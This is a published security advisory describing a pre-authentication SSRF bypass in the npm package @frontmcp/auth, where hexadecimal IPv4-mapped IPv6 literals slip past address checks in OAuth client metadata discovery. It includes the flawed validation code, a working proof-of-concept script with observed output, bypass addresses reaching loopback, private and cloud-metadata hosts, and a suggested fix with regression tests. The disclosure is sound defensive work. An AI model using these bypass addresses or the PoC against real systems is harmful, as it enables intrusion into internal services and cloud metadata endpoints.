# GHSA-XX4W-33PP-CMW4: IPv4-mapped IPv6 literals bypass CIMD SSRF protection in @frontmcp/auth

- Database: GitHub
- Severity: CVSS 7.5 (High)
- Published: 2026-09-26
- Modified: 2026-09-26

## Affected versions

- @frontmcp/auth (npm): from 0.12.2, through 1.7.2

## Description

### Summary

`@frontmcp/auth` is vulnerable to a pre-authentication SSRF bypass in its Client-Initiated Metadata Discovery (CIMD) URL validation.

CIMD accepts an HTTPS URL as an OAuth `client_id` and fetches the referenced metadata document server-side. The implementation includes dedicated SSRF protections intended to block loopback, RFC1918, link-local, and other internal addresses.

However, IPv4-mapped IPv6 addresses are only recognized when written in dotted form:

```ts
const ipv4MappedMatch =
    normalizedIp.match(
        /^::ffff:(\d+\.\d+\.\d+\.\d+)$/
    );

if (ipv4MappedMatch) {
    return checkIpv4(
        ipv4MappedMatch[1]
    );
}
```

Node's WHATWG `URL` parser canonicalizes these addresses into hexadecimal IPv6 form.

For example:

```text
https://[::ffff:127.0.0.1]/x
```

becomes:

```text
[::ffff:7f00:1]
```

The hexadecimal form does not match the dotted-only validation logic and is subsequently treated as an allowed IPv6 literal.

As a result, addresses such as:

```text
::ffff:7f00:1
::ffff:a00:1
::ffff:a9fe:a9fe
```

can reach:

```text
127.0.0.1
10.0.0.1
169.254.169.254
```

respectively.

The issue was reproduced against the released `@frontmcp/auth@1.7.2` package. `CimdService` successfully fetched a metadata document from a server bound only to `127.0.0.1`, while the equivalent direct `https://127.0.0.1/...` URL was rejected by the SSRF protection.

### Details

The CIMD validator explicitly attempts to prevent requests to internal addresses.

IPv4 addresses are checked for blocked ranges such as:

```text
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
```

and IPv6 checks cover native ranges such as loopback, link-local and unique-local addresses.

IPv4-mapped IPv6 handling is implemented using a textual regular expression:

```ts
const ipv4MappedMatch =
    normalizedIp.match(
        /^::ffff:(\d+\.\d+\.\d+\.\d+)$/
    );

if (ipv4MappedMatch) {
    return checkIpv4(
        ipv4MappedMatch[1]
    );
}
```

This is insufficient because the attacker-controlled URL is parsed before the hostname reaches this logic.

For example:

```js
new URL(
    'https://[::ffff:169.254.169.254]/metadata'
).hostname
```

is canonicalized to:

```text
[::ffff:a9fe:a9fe]
```

The validator therefore receives the hexadecimal form rather than:

```text
::ffff:169.254.169.254
```

The value:

```text
::ffff:a9fe:a9fe
```

does not match the dotted-form regex.

It then reaches the IPv6 validation path, which does not recognize the IPv4 address embedded in the low 32 bits.

A second protection layer also fails for literal IP addresses.

The hostname resolution check contains logic equivalent to:

```ts
if (
    isIpAddress(hostname)
) {
    return {
        allowed: true,
        reason: ''
    };
}
```

This means a literal hexadecimal IPv4-mapped IPv6 address can bypass both:

1. the initial private-address validation; and
2. the per-fetch hostname validation.

The resulting attack flow is:

```text
unauthenticated /authorize request
  -> attacker-controlled client_id URL
  -> URL canonicalizes mapped address to hex
  -> CIMD SSRF validation
  -> dotted-only IPv4-mapped check misses
  -> IPv6 policy allows address
  -> literal-IP hostname check returns allowed
  -> fetch()
  -> operating system routes mapped IPv6 literal to internal IPv4 host
```

For example:

```text
::ffff:7f00:1
```

is routed to:

```text
127.0.0.1
```

and:

```text
::ffff:a9fe:a9fe
```

represents:

```text
169.254.169.254
```

The issue does not require DNS resolution, DNS rebinding, or a race condition.

CIMD is particularly security-sensitive because the URL originates from the OAuth `client_id`, and CIMD client IDs are intentionally handled as metadata-document URLs.

### PoC

The following was reproduced with the released `@frontmcp/auth@1.7.2` package.

Create an HTTPS service bound only to:

```text
127.0.0.1:18443
```

and return a valid CIMD metadata document:

```json
{
  "client_id": "https://[::ffff:7f00:1]:18443/metadata.json",
  "client_name": "internal-data",
  "redirect_uris": [
    "https://attacker.example/cb"
  ]
}
```

Use a TLS certificate whose SAN covers the mapped IP literal and trust it in the test environment.

Then execute:

```js
import {
    CimdService
} from '@frontmcp/auth';

const mapped =
    'https://[::ffff:7f00:1]:18443/metadata.json';

const direct =
    'https://127.0.0.1:18443/metadata.json';

const service =
    new CimdService(
        undefined,
        {}
    );

const attack =
    await service
        .resolveClientMetadata(
            mapped
        );

console.log(
    attack
);
```

Observed:

```text
resolveClientMetadata SUCCEEDED

client_name:
internal-data

redirect_uris:
https://attacker.example/cb
```

The request reached the HTTPS server that was listening only on:

```text
127.0.0.1
```

Now use the direct IPv4 representation as a control:

```js
await service
    .resolveClientMetadata(
        direct
    );
```

Observed:

```text
CimdSecurityError:

CIMD security check failed for
https://127.0.0.1:18443/metadata.json:

Loopback addresses (127.x.x.x)
are not allowed
```

The relevant behavior is therefore:

```text
https://127.0.0.1:18443/...
    -> BLOCKED

https://[::ffff:7f00:1]:18443/...
    -> FETCHED
```

Additional validator checks reproduced:

```text
::ffff:7f00:1
    -> ALLOWED
    -> represents 127.0.0.1

::ffff:a00:1
    -> ALLOWED
    -> represents 10.0.0.1

::ffff:a9fe:a9fe
    -> ALLOWED
    -> represents 169.254.169.254
```

while the equivalent direct IPv4 forms are rejected.

This confirms that the security boundary failure is caused specifically by the hexadecimal IPv4-mapped IPv6 representation.

### Suggested fix

IPv4-mapped IPv6 addresses should be detected structurally rather than through a dotted-decimal-only regular expression.

Normalize any address in:

```text
::ffff:0:0/96
```

to its embedded IPv4 address and then run the existing IPv4 policy.

For example:

```ts
function checkIpAddress(
    input: string
) {
    const normalized =
        normalizeIpLiteral(
            input
        );

    const mappedIpv4 =
        extractMappedIpv4(
            normalized
        );

    if (mappedIpv4) {
        return checkIpv4(
            mappedIpv4
        );
    }

    return checkIpv6(
        normalized
    );
}
```

The hostname-resolution path must also validate literal IP addresses instead of automatically allowing them.

Conceptually:

```diff
- if (isIpAddress(hostname)) {
-     return {
-         allowed: true,
-         reason: ''
-     };
- }

+ if (isIpAddress(hostname)) {
+     return checkIpAddress(
+         hostname.replace(
+             /^\[|\]$/g,
+             ''
+         )
+     );
+ }
```

The implementation should compare normalized numeric addresses or use a well-tested IP-address library rather than relying on textual representations.

Regression tests should cover at least:

```text
127.0.0.1
::ffff:127.0.0.1
::ffff:7f00:1

10.0.0.1
::ffff:10.0.0.1
::ffff:a00:1

169.254.169.254
::ffff:169.254.169.254
::ffff:a9fe:a9fe
```

All representations of the same blocked IPv4 address must produce the same decision.

As defense in depth, the IP that passed SSRF validation should be pinned to the subsequent network connection so that hostname re-resolution cannot introduce a separate DNS-rebinding bypass.

### Impact

An unauthenticated attacker can cause the CIMD metadata-fetching service to connect to IPv4 addresses that the SSRF protection explicitly intends to block.

This includes loopback, RFC1918 private networks, link-local addresses, and cloud metadata addresses represented as hexadecimal IPv4-mapped IPv6 literals.

The demonstrated PoC achieved a full metadata-document fetch from a loopback-only HTTPS service and caused the returned document to be processed as OAuth client metadata.

Where the internal HTTPS service presents a certificate valid for the requested literal, response content can be read and processed by CIMD.

Where TLS validation prevents a complete response read, the request can still reach the internal target after bypassing the SSRF checks, potentially exposing connection, error, status, or timing differences depending on the target.

The vulnerability is reachable before authentication through attacker-controlled CIMD client metadata discovery and does not require DNS rebinding or a race condition.

## References

- https://github.com/agentfront/frontmcp/security/advisories/GHSA-xx4w-33pp-cmw4

Page: https://cve.now/GHSA-XX4W-33PP-CMW4

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
